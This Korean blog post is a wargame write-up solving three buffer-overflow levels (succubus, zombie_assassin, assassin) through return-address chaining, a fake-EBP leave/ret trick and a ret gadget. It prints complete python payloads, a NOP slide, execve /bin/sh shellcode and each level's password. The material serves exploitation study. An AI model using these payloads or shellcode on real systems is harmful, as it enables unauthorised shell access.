succubus의 소스코드를 확인하도록 하겠습니다.


이번 코드는 상당히 기네요.

우선 MO부분에 system(cmd)가 보이네요.

이번 목표는 MO를 실행해서 cmd/bin/sh를 전달하는 것으로 보입니다.

MODO부터 시작해서 GYE, GUL, YUT를 거쳐야만 실행이 되구요.

 

Main내부코드들을 보면 매개변수에 \x40가 있으면 안되구요. 처음 ret에 반드시 DO의 주소값이 들어가야 합니다.

 

그리고 ret 부터 100byte 만큼을 제외한 나머지는 0으로 초기화 해주고요.

 

그럼 우선 스택을 어떻게 구성해야하는지 한번 생각해 봐야겠습니다.

DO의 경우는 스택을 다음과 같이 구성하면 실행할 수 있습니다.

DO`s address

SFP

Buffer

main함수가 종료될때 ret를 통해 DO`s addresspop되어 eip로 들어가게 되고, espDO`s address를 가르키게 됩니다.

 

그리고 DO가 실행되고 프롤로그를 지나면 push ebp를 거쳐 스택의 내용은 다음과 같이 바뀌게 되겠죠.

SFP

SFP

Buffer

그리고 DO함수가 끝날때는 SFP위의 내용을 eip로 들어가게 됩니다.

즉 처음 스택을 구성할때 DO`s address위에 있는 값이 eip에 들어가게 되는 것이죠.


그렇다면 DO, GYE, GUL, YUT, MO를 차례대로 실행시키기 위해서는 스택을 다음과 같이 구성을 하면 됩니다.

MO’s address

YUT’s address

GUL’s address

GYE’s address

DO’s address

SFP

Buffer

각 함수가 시작되면 해당 함수의 주소가 있는 부분이 SFP가 되니 함수가 끝나게 되면 그 위의 값이 EIP에 들어가게 되는 것이죠.

이렇게 스택을 구성하게 되면 DO가 끝나고 차례로 GYE, GUL, YUT, MO가 실행 될것입니다.


그럼 우선 DO, GYE, GUL, YUT, MO의 주소값을 알아내어 입력해 주도록 하겠습니다.

DO의 주소는 0x080487ec

GYE의 주소는 0x080487bc

GUL의 주소는 0x0804878c

YUT의 주소는 0x0804875c

MO의 주소는 0x08048724입니다.

 

이를 이제 인자로 넘겨줘서 테스트 해보도록 하겠습니다.

예상대로 MO까지 실행 시켰습니다.

그럼 이제 남은것은 MO“/bin/sh”를 인자로 전달하는 것만 남았네요.

 

아까 그려본 스택을 생각해 보면 함수의 주소부분이 함수 내부에서는 SFP로 바뀐다고 했습니다. 즉 첫번째 인자를 전달하기 위해서는 함수의 주소가 있는 부분 +8byte부분에다가 데이터를 집어 넣으면 됩니다.


스택으로 구성해보면 다음과 같이 되겠죠.

“/bin/sh”’s address

Dummy(4byte)

MO’s address

YUT’s address

GUL’s address

GYE’s address

DO’s address

SFP

Buffer

그럼 페이로드는 다음과 같이 구성하면 될듯 합니다.

 

`python -c 'print "A"*44 + "\xec\x87\x04\x08" + "\xbc\x87\x04\x08" + "\x8c\x87\x04\x08" + "\x5c\x87\x04\x08" + "\x24\x87\x04\x08" + "AAAA" + /bin/sh’s address + "/bin/sh"'`

 

그럼 /bin/sh의 주소가 어딘지 확인해 보도록 하겠습니다.

0xbffffc70/bin/sh의 값이 들어가 있네요.

이를 페이로드에 반영해 테스트 해보도록 하겠습니다.


세그펄트가 발생했으므로 디버깅해 주소를 확인해 보도록 하겠습니다.


0xbffffaa8/bin/sh이 들어 있네요. 이를 반영해서 다시 테스트 해보도록 하겠습니다.

쉘이 정상적으로 떳네요.


이제 원본 파일에 테스트 해보도록 하겠습니다.

성공적으로 succubus의 쉘이 획득되었습니다.

succubus의 패스워드는 here to stay입니다.

zombile_assassin의 소스를 먼저 확인하도록 하겠습니다.

strcpy대신 strncpy를 사용해서 값을 입력하네요. 다른 방법을 이용해야 할듯 합니다.


그런데 위에 보니 FEBP라는게 적혀있네요. FEBPFake EBP의 약자입니다.

이름에서 알 수 있듯이 EBP를 조작해서 푸는 문제입니다.


Fake EBP의 공격 기법에 대하여 간단히 설명하도록 하겠습니다.

Assassin문제를 풀때 retpop이 있는 곳으로 하는것이 핵심이었다면, 이문제는 retleave가 있는 곳으로 하는것이 핵심입니다.


스택을 보며 설명을 하도록 하겠습니다.

FEBP공격을 할때 스택을 다음과 같이 구성합니다.

ret(쉘코드’s address)

FEBP

ret(leave’s address)

SFP(FEBP’s address)

Buffer

FEBP의 동작순서는 다음과 같습니다.

1.    leave(mov esp, ebp; pop ebp)수행
mov esp, ebp
를 통해 esp, ebp모두 SFP를 가르키게 됩니다.
pop ebp
를 통해 SFP의 데이터가 ebp로 들어갑니다. 이로 인하여 ebpFEBP를 가르키게 됩니다.

2.    ret(pop eip)수행
pop eip
를 통하여 eipleave명령어를 가르키게 됩니다.

3.    다시 leave수행
mov esp, ebp
를 통해 esp, ebp모두 FEBP를 가르키게 됩니다.
pop ebp
를 통해 FEBP의 데이터가 ebp로 들어갑니다. 이로 인하여 espFEBP위의 ret를 가르키게 됩니다.

4.    다시 ret수행
pop eip
를 통하여 eip는 쉘코드를 가르키게 됩니다.

 

즉, leaveret를 두번 반복 수행하여 원하는 위치의 ret를 이용해 쉘코드를 동작 시키는 것입니다.

 

그럼 예상 페이로드는 다음과 같이 됩니다.

`python –c ‘print “A”*44 + FEBP’s address + leave’s address’` `python –c ‘print “AAAA”*4 + 쉘코드’s address + NOP슬라이드 + 쉘코드

 

입력의 편의를 위하여 매개변수를 2개 전달하도록 하겠습니다. 두번째 매개변수의 내용을 첫번째에 이어서 입력해도 되고, 버퍼를 이용해도 됩니다.

 

그럼 필요한 정보들을 획득하도록 하겠습니다.

우선 leave의 주소를 획득하도록 하겠습니다.

leave의 주소는 0x080484df입니다.

 

main+3에 중단점을 걸고 작성한 페이로드를 전달해 FEBP의 주소와, 쉘코드의 주소를 얻어내도록 하겠습니다.


FEBP의 주소는 0xbffffc1c로 잡혔고, 쉘코드의 주소는 0xbffffc30으로 하면 될듯 합니다.

 

이를 반영해 페이로드를 다시 작성하여 시도해보도록 하겠습니다.

세그펄트가 떳으므로 coredump로 디버깅 하도록 하겠습니다.

 

FEBP의 주소는 0xbffffbc9, 쉘코드의 주소는 0xbffffbe0으로 하면 될듯 합니다.

 

페이로드에 이를 반영해 다시 시도하도록 하겠습니다.

쉘이 떳네요.

 

이제 원본 파일을 대상으로 공격하도록 하겠습니다.

성공적으로 zombie_assassin의 쉘이 떳습니다.

Zombie_assassin의 패스워드는 no place to hide입니다.

assassin의 소스를 보도록 하겠습니다.

소스를 보고 알수 있는 정보를 정리해 보겠습니다.

1.    매개변수의 갯수 제한이 없어졌습니다

2.    매개변수의 길이 제한이 없어졌습니다.

3.    ret에 스택 주소를 사용할 수 없습니다.

4.    ret에 라이브러리 주소를 사용할 수 없습니다.

5.    buffersfp0으로 초기화 됩니다.

 

지금까지 풀이는 stack에 쉘을 올리고 eip를 그곳으로 변경하거나, rtl을 이용하여 문제를 풀었습니다. 다만 이번에는 ret에 그 주소값을 넣을 수 없게 제한이 걸려있습니다.

 

하지만 매개변수의 길이에 제한이 없기 대문에 ret바로 위에는 아무 주소나 입력 할 수 있습니다.

바로 이것이 이번 문제를 풀기위한 방법입니다.

즉 스택에서 ret다음 있는 메모리의 데이터를 어떻게 eip에 전달하느냐 입니다.

ret에 있는 데이터가 eip로 전달 되는 과정은 다음과 같습니다.

1.    Espret가 들어 있는 메모리를 가르킨다.

2.    ret(pop eip) 명령어를 통해 ret메모리의 내용을 eip에 전달한다.

 

그럼 스택상 ret위에 있는 영역의 값을 eip에 전달 하기 위해선 esp를 한번더 위로 올려주어야 합니다.

pop을 한번 더 해주어야 하는 것이지요.

 

어렵게 생각 할 것 없이 leave다음 ret2번 수행된다고 생각하면 됩니다.

즉 스택의 ret0x0804851e를 넣어 주면 되는 것이죠. 주소가 08로 시작하기 때문에 입력 조건에 걸러지지도 않습니다.

 

Ret0x0804851e를 넣어주고 뒤이어 쉘코드의 주소와 NOP슬라이드와 쉘코드를 넣어주면 됩니다.

 

페이로드는 다음과 같이 됩니다.

`python -c 'print "A"*44 + "\x1e\x85\x04\x08" + 쉘코드주소 + "\x90"* 100 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"'`

 

쉘코드의 주소를 알아내도록 하겠습니다.

NOP슬라이드가 들어있는 영역으로 보아 0xbffffc70으로 주소를 넣어주면 될듯 합니다.

 

완성된 페이로드는 다음과 같습니다.

`python -c 'print "A"*44 + "\x1e\x85\x04\x08" + "\x70\xfc\xff\xbf" + "\x90"* 100 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"'`

 

이제 테스트를 해보도록 하겠습니다.

세그펄트가 발생하였으니 core dump를 이용해 디버깅해 보도록 하겠습니다.

 


쉘코드가 들어가 있는 주소가 바뀌어서 안되었네요.

주소를 0xbffffab0으로 변경하여 다시 시도하도록 하겠습니다.

 

쉘이 획득 되었네요. 원본 파일을 대상으로 공격하도록 하겠습니다.

 


assassin의 쉘이 획득 되었습니다.

assassin의 패스워드는 pushing me away입니다.

+ Recent posts